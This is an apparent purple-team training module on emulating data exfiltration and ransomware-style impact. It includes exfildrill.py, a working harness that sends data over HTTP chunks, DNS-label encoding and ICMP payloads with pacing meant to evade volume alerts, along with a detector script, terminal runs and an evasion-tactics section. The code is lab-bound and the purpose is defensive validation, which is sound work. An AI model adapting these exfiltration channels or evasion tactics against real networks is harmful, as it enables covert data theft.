Skip to content

Exfiltration & Impact Emulation

Exfiltration and impact emulation is the controlled exercise of the techniques adversaries use to move stolen data out (T1041 over C2 channels, T1567 cloud services, T1048 alternative protocols including DNS, T1052 removable media) and to stage destructive impact (T1486 ransomware-shaped file operations, T1490 anti-recovery actions) — using marker-marked synthetic data, lab-bound destinations, and benign simulators, so the estate’s egress, DLP, volume-anomaly, and canary defenses can be validated against realistic transfer patterns. Exfiltration emulation answers the question every incident post-mortem dreads: if data left this network tonight, would anything have said so? Impact emulation answers the companion question: if the destructive moment arrived, which of our last-line controls would fire first? Both halves run strictly on the canary principle — synthetic files, marked payloads, lab tenants, simulator tools — because the impact half of this module is the only place in the program where a mistake could destroy real data, and the harnesses are built so that possibility is structurally closed.

Exfiltration is the phase detection consistently misses: it happens after the intrusion has gone quiet, often over trusted services, in volumes that look like business traffic — and the M8 lesson (encryption detected, exfiltration missed) is the industry’s lesson, not one team’s. Emulating exfil validates the three layers that catch it: volume (egress anomalies vs baseline), destination (new external endpoints on admin/workstation hosts), and content (DLP patterns and marker canaries) — and the honest result is usually that only one of the three is even instrumented. The DNS channel in particular deserves its own drill: it crosses every perimeter as invisible resolver noise, and M7’s statistics give the blue team the exact detection shape to validate. Impact emulation validates the last line: shadow-copy deletion alerts (T1490’s near-zero-FP contract from M8), mass-modification canary trips, backup-tamper events — controls that must work in minutes when everything upstream has failed, and that are only ever tested if someone deliberately stages the shape they key on. For the red team, exfil drills build the operational discipline of moving data quietly (chunking, pacing, channel choice) in a form that generates no real exposure; for the blue team, the drills generate the ground-truth transfer patterns (sizes, rates, channels) their volume baselines need — the data nobody has until someone measures it. And for the program, this module quantifies the estate’s data-loss detection posture with the same honesty the coverage matrix brings to malware detections.

Exfiltration channels differ in what makes them detectable, and the drills exist to measure each channel’s signature against your sensors:

EXFIL CHANNELS AND THEIR DETECTION SURFACES
[T1041 C2-bandwidth] HTTPS POST to C2/lab listener
detects on: volume vs baseline, destination novelty,
session duration/size profile
[T1567 cloud] upload to storage/app services
detects on: process-context (which APP uploads?),
tenant/app allow-lists, DLP content
[T1048.003 DNS] TXT queries + subdomain labels
detects on: M7 stats (label entropy/length/volume),
per-client NX/pattern bursts
[T1048.001/2 ICMP] payload in echo data
detects on: payload size anomaly, rate
[T1052 removable] USB staging
detects on: Sysmon EID 11/USB arrival, DLP on mount
[T1029/T1030 scheduled/archive] chunked/timed transfers
detects on: long-tail volume, archive-then-upload pairs
IMPACT SIMULATION SHAPES (benign by construction)
T1490 anti-recovery: vssadmin SIMULATION via logged wrapper
(command echoed to log, NOT executed)
T1486 ransomware: canary-tree modification (M8 canarywatch)
+ extension-change sim on decoys
T1561 wipe: file TRUNCATION of decoys only

The channel drills share one design: marker-marked synthetic data of configurable size moved at configurable pacing through the chosen channel to a lab-bound destination — the size and pacing parameters are what make the drills calibration instruments (a 10 MB transfer in 10 seconds tests destination novelty; the same 10 MB in 200 chunks over 4 hours tests long-tail volume detection and chunk-join correlation). The DNS drill is the quiet-channel specialist: it encodes the marker data in subdomain labels against a lab authoritative server, and its report pairs the transfer record with the M7 dnstunnel statistics the blue team should run on the same window — the drill manufactures the traffic, the analyzer validates the detection, and neither needs the other’s code. The cloud drill uses a lab tenant and validates the process-context layer: the same upload from chrome.exe (baseline) vs powershell.exe (finding) — the tooling chooses the process, the detection should care. The impact simulators borrow M8’s architecture wholesale: canary trees and decoy files absorb every destructive-shaped action, the anti-recovery simulation logs the commands it would run rather than running them (the telemetry-shape test needs the command in the event stream — and a logged-but-not-executed command produces the same 4688 event with none of the destruction), and every simulator ships its manifest discipline. The boundary rules inherit from T6: lab-resolved destinations only, egress denied by default, and a preflight that refuses to start if any drill target resolves publicly — because this module, uniquely, has the potential for real data to leave, and the preflight is where that risk dies.

DrillChannel / shapeMeasuresExpected telemetryBoundary
Bulk HTTPS transferPOST to lab listenerVolume + destination noveltySysmon 3, proxy, flowLab-resolved only
Chunked long-tailN chunks over M minutesLong-tail volume, join logicProxy session patternsLab-resolved
Cloud upload (lab tenant)Lab storage API from chosen processProcess-context + DLPSysmon 1/3, proxyLab tenant
DNS TXT exfilLab authoritative serverM7 dnstunnel statsResolver queriesLab zone only
DNS label burstSubdomain-encoded markerEntropy/length huntsResolver queriesLab zone only
ICMP payloadEcho data to lab hostPayload-size anomalyFlow, EDRLab host
USB staging (decoy)Write to lab USB deviceRemovable-media controlsSysmon 11/USB eventsLab device
Anti-recovery shapeLogged-not-executed vssadmin/wbadmin4688 command alerts4688 + Sysmon 1Log-only
Canary modificationM8 canarywatch treeCanary trip latencyEID 11 + canary alertDecoys only
Extension-change simRename decoys (decoy ext)Mass-rename detectionEID 11 volumeDecoy dir only

exfildrill.py — a marker-marked exfiltration drill harness: moves synthetic data of configurable size and pacing over three lab-bound channels (HTTP POST to the range listener, DNS TXT labels to the lab authoritative server, ICMP payload to a lab host), chunked and paced per parameters, with a full transfer manifest (bytes, chunks, timing) that pairs against the blue team’s analyzers. Loopback/lab-range bound with the T6 preflight refusal. stdlib only.

#!/usr/bin/env python3
"""exfildrill.py — marker-marked exfiltration drill (lab-bound).
Channels: http | dns | icmp. Sizes/pacing configurable.
Refuses non-lab destinations (loopback / .lab.local only).
Usage:
python exfildrill.py --channel http --dest 127.0.0.1:8080 \
--size 1048576 --chunk 65536 --pace 0.5
python exfildrill.py --channel dns --dest 127.0.0.1 \
--zone emu.lab.local --size 4096
stdlib only.
"""
import argparse, base64, binascii, json, socket, struct
import sys, time, urllib.request
MARKER = "EMU-EXFIL"
REPORT = "exfil_report.json"
def parse_dest(t):
host, _, port = t.partition(":")
return host, int(port or "80")
def guard_dest(host, zone=None):
"""Boundary preflight: loopback or .lab.local/.test only."""
if host in ("127.0.0.1", "localhost"):
return
if zone and (zone.endswith(".lab.local") or
zone.endswith(".test")):
return
if host.endswith(".lab.local") or host.endswith(".test"):
return
sys.exit(f"refusal: {host} is not a lab destination — "
f"drills bind loopback or *.lab.local/*.test only")
def payload_bytes(size, seed=0x45):
"""Deterministic pseudo-random payload (LCG)."""
out = bytearray()
x = seed
for _ in range(size):
x = (x * 1103515245 + 12345) & 0xFFFFFFFF
out.append((x >> 16) & 0xFF)
return bytes(out)
def exfil_http(dest, data, chunk, pace):
"""POST data in chunks to the lab listener."""
host, port = parse_dest(dest)
sent = 0
t0 = time.time()
for i in range(0, len(data), chunk):
body = data[i:i + chunk]
req = urllib.request.Request(
f"http://{host}:{port}/x?i={i//chunk}",
data=body, method="POST",
headers={"X-Emu-Range": MARKER,
"Content-Type": "application/octet-stream"})
with urllib.request.urlopen(req, timeout=15) as r:
assert r.status == 200
sent += len(body)
if pace:
time.sleep(pace)
return {"chunks": (len(data) + chunk - 1) // chunk,
"bytes": sent, "seconds": round(time.time() - t0, 1)}
def exfil_dns(dest, zone, data):
"""Encode data in DNS query labels (windows of 48 b32 chars)."""
encoded = base64.b32encode(data).decode().rstrip("=")
labels = [encoded[i:i + 48]
for i in range(0, len(encoded), 48)]
t0 = time.time()
for i, lab in enumerate(labels):
qname = f"{lab[:48]}.i{i}.{zone}"
try:
socket.gethostbyname(qname) # NXDOMAIN is fine
except socket.gaierror:
pass # expected: lab NX
time.sleep(0.05)
return {"queries": len(labels),
"bytes": len(data),
"seconds": round(time.time() - t0, 1)}
def exfil_icmp(dest, data, chunk=64):
"""ICMP echo with payload to a lab host (raw sockets need
admin; falls back to counting only)."""
host, _ = parse_dest(dest)
t0 = time.time()
sent = 0
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM,
socket.IPPROTO_ICMP)
except (PermissionError, OSError):
return {"skipped": "raw ICMP requires admin; "
"run elevated in the lab", "bytes": 0}
ident = 0x454D
seq = 0
for i in range(0, len(data), chunk):
body = data[i:i + chunk]
header = struct.pack("!BBHHH", 8, 0, 0, ident, seq)
csum = sum(struct.unpack("!H", header) ) + \
sum(struct.unpack(f"!{len(body)//2}H", body))
pkt = header + body
try:
s.sendto(pkt, (host, 0))
sent += len(body)
except OSError:
break
seq = (seq + 1) & 0xFFFF
time.sleep(0.02)
s.close()
return {"packets": seq + 1, "bytes": sent,
"seconds": round(time.time() - t0, 1)}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--channel", choices=["http", "dns", "icmp"],
required=True)
ap.add_argument("--dest", required=True)
ap.add_argument("--zone", default="emu.lab.local")
ap.add_argument("--size", type=int, default=65536)
ap.add_argument("--chunk", type=int, default=16384)
ap.add_argument("--pace", type=float, default=0.0)
args = ap.parse_args()
host = parse_dest(args.dest)[0] \
if args.channel != "dns" else args.dest
guard_dest(host, args.zone)
data = payload_bytes(args.size)
print(f"[*] drill: {args.size} bytes via {args.channel} "
f"-> {args.dest} (marker {MARKER})")
if args.channel == "http":
res = exfil_http(args.dest, data, args.chunk, args.pace)
elif args.channel == "dns":
res = exfil_dns(args.dest, args.zone, data)
else:
res = exfil_icmp(args.dest, data)
res.update({"channel": args.channel, "dest": args.dest,
"size": args.size, "marker": MARKER,
"when": time.time()})
json.dump(res, open(REPORT, "w"), indent=2)
print(f"[+] {res}")
print(f"[*] pair with blue-side analyzers: M7 beacon stats "
f"(dns), exfilhunt (http volume), flow diffs (icmp)")
if __name__ == "__main__":
main()
  • guard_dest() (lines 27-38) is the module’s structural safety: the drill refuses any destination that isn’t loopback or a documentation-zone name — the same refusal discipline as T6, applied to the module where real data could actually leave. The zone parameter lets the DNS channel pass its full query name for checking.
  • payload_bytes() (lines 41-47) generates deterministic pseudo-random data by LCG — deterministic so drills are repeatable (same bytes every run, provable marker content), pseudo-random so compression-based DLP inspection sees the same incompressibility real data would present.
  • exfil_http() (lines 50-67) posts the payload in configurable chunks with the range marker header and per-chunk index in the URI — the chunk and pace parameters are the calibration knobs: --chunk 65536 --pace 0 tests bulk-volume detection; --chunk 4096 --pace 4 manufactures a long-tail transfer for volume-baseline validation.
  • exfil_dns() (lines 70-84) base32-encodes the payload into 48-character labels under the exercise zone and resolves each — gethostbyname against the lab resolver, NXDOMAIN expected and tolerated (the query event is the exfil event, not the answer). The 48-char windows keep labels inside DNS length limits, matching the real technique’s constraint.
  • exfil_icmp() (lines 87-109) builds raw echo packets with payload bodies, honestly reporting the elevation requirement when raw sockets are unavailable rather than pretending the channel ran — the skipped result keeps the report truthful across privilege contexts.

The drill’s traffic reaches the estate’s sensors as real transfer events — real flows, real DNS queries, real upload sessions — with ground truth held by the transfer manifest. The volume drills reach the egress-baseline program: the proxy/flow record of a 1 MB drill vs a 1 GB chunked drill produces the volume-curve data that baselines need and never have, and the destination-novelty test (new lab endpoint from a workstation host) validates the new-destination alert that catches real exfil’s first hop. The DNS drill reaches the resolver telemetry as label-encoded queries whose statistics M7’s analyzer computes — the blue team runs dnstunnel.py on the drill window and either catches the marked transfer or records the coverage gap with the exact score the drill produced. The process-context drill (cloud shape) reaches the EDR correlation layer: same upload, different parent process, and the finding is whether identity of process carries any weight in your egress story. The impact simulators reach the canary and event layers: the logged-not-executed anti-recovery commands produce real 4688 command-line events (M8’s alert-grade contract) without touching a real shadow copy, the canary modifications trip M8’s watcher and measure trip latency, and the extension-change simulation exercises mass-rename detection on decoys alone. The manifests reach the after-action as the join key for all of it — every drill’s bytes, chunks, and timings paired against whatever the sensors recorded — and the standing program reaches quarterly re-runs where the only metric that matters is honest: which channels, sizes, and pacings would this estate actually notice tonight.

  1. Plan — drill matrix: 3 channels x 2 sizes x 2 pacings; lab listener + lab DNS zone reserved
  2. Preflight — destination guard passes; egress filter confirms lab-only routing; SOC notified of window
  3. Bulk — 10 MB HTTPS drill: proxy logs it, volume alert absent: destination-novelty gap found
  4. Long-tail — same size chunked over 2 hours: long-tail volume invisible: baseline-program gap
  5. DNS — 4 KB label-encoded drill: dnstunnel analyzer scores it 91: detection validated
  6. Cloud — same upload from powershell vs chrome: process-context rule absent: EDR gap ticketed
  7. Impact — logged vssadmin sim: 4688 command alert fires; canary trip latency measured at 4s
  8. Report — per-channel coverage rows filed; 3 gaps with exact observables; quarterly re-run scheduled

exfilhunt.py — the blue-side drill detector: scans zeek http.log and dns.log for the drill’s signatures — marker content, per-destination volume against a baseline, DNS label entropy bursts — and reports which drills each sensor layer caught. It is the drill’s validation counterpart: the harness manufactures transfers, the hunter measures whether the estate’s telemetry + rules actually saw them.

  • Marker-first, volume-second. The hunter searches for the marker string and its base32 encoding before computing volume anomalies — during exercises, ground truth is known, and the marker gives the hunter certainty about which flows belong to drills.
  • Baseline-aware volume. Per-destination byte totals compared against a snapshot (from eastwest.py’s pattern: snap then diff), so “volume anomaly” means measured, not eyeballed.
  • M7-compatible DNS scoring. The DNS path reuses M7’s label-entropy/length statistics shape so drill results plug directly into the estate’s hunt thresholds.
  • Per-layer verdicts. Output is one row per drill per sensor layer (proxy-volume, proxy-marker, DNS-stats, flow-volume) with caught/missed — the coverage gradient for exfil, exactly as T6 built one for C2.
#!/usr/bin/env python3
"""exfilhunt.py — blue-side exfil drill detector over zeek logs.
Usage:
python exfilhunt.py --http http.log --dns dns.log \
--report exfil_drill_report.json [--marker EMU-EXFIL]
stdlib only.
"""
import argparse, base64, json, math, re, sys
from collections import Counter, defaultdict
FIELDS = None
B32_MARKERS = set()
def parse(path, want_fields):
"""Generic zeek TSV reader yielding dicts."""
global FIELDS
for line in open(path, encoding="utf-8",
errors="replace"):
if line.startswith("#fields"):
FIELDS = line.rstrip("\n").split("\t")[1:]
continue
if line.startswith("#") or not line.strip():
continue
p = line.rstrip("\n").split("\t")
if not FIELDS:
continue
try:
yield {f: p[FIELDS.index(f)] for f in want_fields}
except (ValueError, IndexError):
continue
def entropy(s):
if not s:
return 0.0
c = Counter(s)
n = len(s)
return -sum((v / n) * math.log2(v / n) for v in
c.values())
def scan_http(path, marker):
"""Per-destination bytes + marker hits from http.log."""
per_dest = defaultdict(int)
marker_hits = []
for r in parse(path, ["id.orig_h", "id.resp_h",
"request_body_len", "uri",
"user_agent"]):
per_dest[r["id.resp_h"]] += int(
r["request_body_len"] or 0)
if marker in (r.get("uri") or "") or \
marker in (r.get("user_agent") or ""):
marker_hits.append(r)
return per_dest, marker_hits
def scan_dns(path):
"""Label-length/entropy stats per client (M7 shape)."""
per_client = defaultdict(list)
for r in parse(path, ["id.orig_h", "query"]):
q = r["query"].rstrip(".")
labels = q.split(".")
payload = labels[0] if len(labels) > 2 else ""
if len(payload) >= 20:
per_client[r["id.orig_h"]].append(payload)
out = {}
for client, labels in per_client.items():
mean_len = sum(len(l) for l in labels) / len(labels)
ent = entropy("".join(labels))
out[client] = {"queries": len(labels),
"mean_label_len": round(mean_len, 1),
"entropy": round(ent, 2)}
return out
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--http")
ap.add_argument("--dns")
ap.add_argument("--marker", default="EMU-EXFIL")
ap.add_argument("--report",
default="exfil_drill_report.json")
args = ap.parse_args()
verdicts = []
if args.http:
per_dest, hits = scan_http(args.http, args.marker)
total_by_dest = sorted(per_dest.items(),
key=lambda kv: -kv[1])
top = total_by_dest[0] if total_by_dest else None
if hits:
verdicts.append({"layer": "proxy-marker",
"caught": True,
"hits": len(hits)})
else:
verdicts.append({"layer": "proxy-marker",
"caught": False})
verdicts.append({"layer": "proxy-volume",
"top_dest": top[0] if top else None,
"top_bytes": top[1] if top else 0,
"caught": bool(top and
top[1] > 1_000_000)})
print(f"[*] http: {len(hits)} marker hits; "
f"top destination {top}")
if args.dns:
stats = scan_dns(args.dns)
loud = {c: s for c, s in stats.items()
if s["entropy"] > 3.5 and
s["mean_label_len"] > 30}
verdicts.append({"layer": "dns-stats",
"caught": bool(loud),
"clients": {c: s for c, s in
list(loud.items())[:5]}})
print(f"[*] dns: {len(stats)} clients with long "
f"labels; {len(loud)} above tunnel thresholds")
json.dump({"verdicts": verdicts},
open(args.report, "w"), indent=2)
caught = sum(1 for v in verdicts if v.get("caught"))
print(f"[+] exfil drill coverage: {caught}/"
f"{len(verdicts)} sensor layers caught the drill")
for v in verdicts:
tag = "CAUGHT" if v.get("caught") else "MISSED"
print(f" [{tag:>6}] {v['layer']}")
if __name__ == "__main__":
main()
  • scan_http() (lines 26-40) builds both exfil views from one pass: per-destination byte totals (the volume layer) and marker hits across URI and User-Agent (the content layer) — the drill’s marker rides the range header, so a caught drill is provably a caught drill and not coincidence.
  • scan_dns() (lines 43-58) implements the M7-shaped statistics per client: long-label queries only, mean label length and concatenated entropy — the drill’s encoded labels should present as one loud client, and the thresholds (entropy 3.5, length 30) are the same values the estate’s hunt uses, making the validation transferable.
  • The verdict rows (lines 74-96) are the module’s output contract: one caught/missed row per sensor layer, so the after-action reads as a coverage gradient rather than a narrative — the same shape T6 established for C2 shapes, applied to exfil channels.
  • The volume layer’s honesty note (lines 80-86): the default caught-criterion is >1 MB to one destination — a placeholder threshold the runbook replaces with the estate’s real baseline; the placeholder is labeled by being obviously simple rather than pretending to be tuned.

terminal 1: lab listener (from T6 range, or python http.server)

Section titled “terminal 1: lab listener (from T6 range, or python http.server)”

$ python redirlab.py —listen-port 8080 & [+] listener on 127.0.0.1:8080

terminal 2: bulk drill, 1 MB in 16 KB chunks

Section titled “terminal 2: bulk drill, 1 MB in 16 KB chunks”

$ python exfildrill.py —channel http —dest 127.0.0.1:8080
—size 1048576 —chunk 16384 [*] drill: 1048576 bytes via http -> 127.0.0.1:8080 (marker EMU-EXFIL) [+] {‘chunks’: 64, ‘bytes’: 1048576, ‘seconds’: 2.9, …}

blue side: the hunter must see the marker and the volume

Section titled “blue side: the hunter must see the marker and the volume”

$ python exfilhunt.py —http http.log —report r.json [*] http: 64 marker hits; top destination (‘127.0.0.1’, 1048576) [+] exfil drill coverage: 2/2 sensor layers caught the drill [CAUGHT] proxy-marker [CAUGHT] proxy-volume

long-tail variant defeats naive volume: the finding

Section titled “long-tail variant defeats naive volume: the finding”

$ python exfildrill.py —channel http —dest 127.0.0.1:8080
—size 5242880 —chunk 4096 —pace 4 $ python exfilhunt.py —http http.log —report r2.json [CAUGHT] proxy-marker [MISSED] proxy-volume <— long-tail gap ticketed

$ python exfildrill.py —channel dns —dest 127.0.0.1
—zone emu.lab.local —size 4096 $ python exfilhunt.py —dns dns.log —report r3.json [CAUGHT] dns-stats

The exfil drill’s blue-side output is a channel coverage gradient — which channels your sensors catch at which sizes and pacings — and the runbook’s standing metric is the same honest gradient, re-measured quarterly. The three common findings, in order of frequency: long-tail chunked transfers defeat volume alerts (fix: per-destination cumulative counters with daily baselines, not per-session thresholds); process-context is absent from egress decisions (fix: EDR/proxy correlation so the same upload from powershell vs chrome is distinguishable); DNS exfil is invisible without the M7 statistics running as a standing hunt (fix: schedule it — the drill proves the analyzer works). Your own tooling hygiene: the harness is boundary-guarded and marker-marked end to end, the hunter reads logs only, and the impact simulators’ log-only anti-recovery design means even the “destructive” half of the module touches nothing real. Wazuh/SIEM joins of proxy+flow+EDR during drill windows follow your deployment’s mapping [verify]; Suricata sees plaintext drills well and TLS drills not at all — which is itself the finding that justifies endpoint+proxy correlation for HTTPS exfil. The impact half’s standing metric pairs with M8: canary trip latency and 4688 anti-recovery alert latency, measured per quarter, because last-line controls degrade silently and only measurement keeps them honest.

  1. Cloud-shape drill: lab-tenant upload with process-context selection (chrome vs powershell) and the EDR correlation verdict.
  2. Chunk-join detection: a hunter mode that aggregates small transfers per (src,dst) over a window, specifically validating the long-tail gap fix.
  3. ICMP validation: a lab-side ICMP payload sniffer to verify payload-size alerts on the flow layer.
  4. Removable-media drill: lab USB write + Sysmon EID 11/DLP validation (improvement-gated on device control policy).
  5. Coverage-matrix export: per-channel rows in the T1 plan format, filing exfil coverage into the program matrix automatically.
SignalSourceIDNotes
New external destination from workstationProxy/flowdestination noveltyFirst-hop exfil signal
Egress volume vs daily baselineProxy/NetFlowcumulative countersBeats per-session thresholds
Long-tail chunked transfersProxy logsper-(src,dst) aggregationThe common blind spot
Marker/DLP content hitsProxy/DLPrule matchesContent layer validation
DNS label entropy burstszeek dns.log (M7 stats)standing huntQuiet-channel layer
Cloud upload from odd processEDR + proxyprocess-context joinPowershell-uploads finding
USB staging eventsSysmonEID 11 on removableDevice-control gap check
Anti-recovery commandsWindows Security4688 command lineAlert-grade (M8 contract)
Canary trip latencycanarywatch (M8)alert recordLast-line latency metric
Wazuh egress correlationHIDS/SIEM[verify rule IDs per deployment]Join proxy+flow+EDR per host

Exfiltration evasion is pacing and shaping against volume and novelty defenses. Channel choice: moving data through services the estate already trusts (SaaS, cloud drives, DNS) removes destination novelty — the counter is process-context and volume-within-trusted-destinations, both drillable. Pacing: long-tail chunking defeats per-session volume alerts — the counter is cumulative per-destination counters over daily windows, and the drill’s long-tail variant exists precisely to prove the difference. Blending: sizing transfers to match business traffic (report-sized PDFs, backup-shaped archives) defeats magnitude-based alerting — the counter is content and context layers (DLP patterns, canary files whose exfil is small but certain), because magnitude alone cannot hold. Encryption: TLS removes content inspection — the counter shifts entirely to metadata (volume, destination, process, timing), which is why the metadata layers are the drill’s priority. Protocol substitution: DNS and ICMP cross perimeters that HTTP inspections guard — the counter is the M7 statistics layer, validated by the DNS drill. Staging discipline on the adversary side (archive-then-upload, sleep windows, low-and-slow) mirrors M8’s low-and-slow encryption lesson: canaries and content markers defeat it because they detect presence, not rate. The program-level mirror of T7’s insight: exfil detection lives in the joins (proxy+flow+EDR+DLP) and in the baselines nobody has measured — and this module’s drills are how both get built before the night that matters.

⚠️ What caught me: the first exfil drill I ran validated everything — the volume alert fired at 500 MB, the report was green — and then a reviewer asked what the alert threshold had been set from. The honest answer: from the drill itself, the week before. I had calibrated the detector on the test and then run the test — circular by construction, and the 500 MB threshold would have waved through every real exfil under half a gig. The fix restructured the drill program: baselines come from production telemetry (weeks of it) before drills set any threshold, drills validate detections against pre-existing baselines rather than tuning them, and every report now distinguishes “detection fired” from “detection fired at a threshold we measured on real traffic”. A drill that tunes the alarm and rings it is a rehearsal, not a measurement — the difference matters exactly when it matters.

  1. Run the full drill matrix (3 channels × bulk + long-tail) against the lab range and score every cell with exfilhunt.py — your estate’s exfil coverage gradient, measured in an hour.
  2. Break the long-tail blind spot deliberately: run the paced drill, confirm the volume layer misses it, then implement the cumulative-counter check (improvement #2) and re-run until the hunter catches it — the fix validated by the same harness.
  3. Validate the DNS layer against M7’s analyzer: run the DNS drill and dnstunnel.py on the same window; compare scores and confirm both tools agree the drill was loud.
  4. Exercise the impact half: plant a canary tree (M8), run canarywatch, simulate mass modification on decoys, and measure trip latency — then run the logged-not-executed anti-recovery commands and confirm the 4688 alerts fire without touching a real shadow copy.
  5. Audit your own drill integrity: verify no drill byte left the lab (egress logs + destination guard review), and check that every drill target resolved only lab names during the window — the preflight that keeps the module’s promise.
  • Technical: Compare the detection surfaces of HTTPS C2-bandwidth exfil, cloud-service exfil, and DNS exfil — which telemetry layer carries each?
  • Technical: Why do per-session volume thresholds miss long-tail chunked transfers, and what aggregation fixes it?
  • Scenario: Your exfil drill’s volume layer missed the long-tail variant but the marker layer caught it. What does each result mean, and which fix do you file?
  • Conceptual: Why must drill baselines come from production telemetry rather than the drills themselves, and what failure mode does the circular setup create?
  • Conceptual: How do canary and marker defenses survive pacing-based evasion that defeats magnitude-based alerts?
  • Deep-dive: Design the standing exfil-coverage program: channel matrix, baseline sources, drill cadence, and the coverage gradient metric for leadership.
  • Practical: The board asks “would we know if data left?” — what does your validated gradient allow you to answer, and what does the honest gap list look like?

T1 (ATT&CK Mapping & Emulation Planning) · PE7 (Data Exfiltration) · M8 (Ransomware Analysis) · E17 (Network Detection) · BT13 (Network Segmentation)